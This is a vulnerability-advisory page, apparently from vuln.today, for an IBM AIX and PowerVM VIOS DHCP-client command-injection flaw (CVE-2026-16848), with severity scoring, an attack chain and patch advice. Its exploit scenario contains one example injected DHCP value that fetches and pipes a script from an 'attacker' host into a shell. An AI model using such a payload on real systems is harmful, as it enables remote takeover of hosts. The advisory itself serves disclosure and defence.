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IBM AIX EUVDEUVD-2026-62742

| CVE-2026-16848 HIGH
OS Command Injection (CWE-78)
2026-08-19 ibm GHSA-77f7-4rr4-gqj6
8.8
CVSS 3.1 · NVD
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Severity by source

Vendor (ibm) PRIMARY
HIGH
qualitative
NVD
8.8 HIGH
AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI
8.8 HIGH

DHCP is an adjacent-network, unauthenticated protocol; shell metacharacter injection via options yields full system impact with no user interaction.

3.1 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (ibm).

CVSS VectorNVD

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Adjacent
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Analysis Generated
Aug 19, 2026 - 20:36 vuln.today
CVE Published
Aug 19, 2026 - 19:36 nvd
HIGH 8.8

DescriptionNVD

IBM AIX 7.2, and 7.3 and IBM PowerVM VIOS 4.1 could allow a remote attacker to execute arbitrary commands due to improper neutralization of shell metacharacters in DHCP options.

AnalysisAI

Arbitrary command execution against IBM AIX 7.2, 7.3 and PowerVM VIOS 4.1 is possible by an unauthenticated attacker on the same network segment who can deliver DHCP option values containing unescaped shell metacharacters to the system's DHCP client. The DHCP client fails to neutralize these metacharacters before passing option data to shell processing (CWE-78), enabling full confidentiality, integrity, and availability compromise of the target host. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Gain access to adjacent network segment
Delivery
Deploy rogue DHCP server or conduct DHCP spoofing
Exploit
Craft DHCP response with shell metacharacters in option fields
Execution
AIX/VIOS DHCP client processes options without sanitization
Persist
Injected shell commands execute in DHCP client context
Impact
Full system compromise achieved

Vulnerability AssessmentAI

Exploitation The attacker must be positioned on the same Layer 2 broadcast domain - the same VLAN or physical network segment - as the target IBM AIX or PowerVM VIOS host, consistent with the AV:A (Adjacent Network) CVSS metric. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 8.8 base score is well-supported by the vector: adjacent-network access with no authentication required, no user interaction, and full impact across confidentiality, integrity, and availability. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker who has obtained access to the same Layer 2 network segment as an IBM AIX or PowerVM VIOS host - for example, via a compromised internal workstation or a connected rogue device - operates a malicious DHCP server crafted to respond to DHCP DISCOVER or REQUEST broadcasts faster than the legitimate server, embedding shell metacharacters in standard option fields such as the hostname or domain-name option (e.g., value set to 'host; curl http://attacker/shell.sh | sh'). When the AIX DHCP client processes this response, the unsanitized metacharacter sequence causes the embedded command to execute within the DHCP client process context, yielding arbitrary command execution on the target host. …
Remediation The primary remediation is applying the vendor-released patch documented in the IBM support advisory at https://www.ibm.com/support/pages/node/7283858; administrators should identify the appropriate fix pack or interim fix for their specific AIX 7.2, AIX 7.3, or PowerVM VIOS 4.1 maintenance level and apply it promptly. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, conduct a network inventory to identify all IBM AIX 7.2, 7.3, and PowerVM VIOS 4.1 systems and isolate those from untrusted network segments where feasible pending patch deployment. …

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EUVD-2026-62742 vulnerability details – vuln.today

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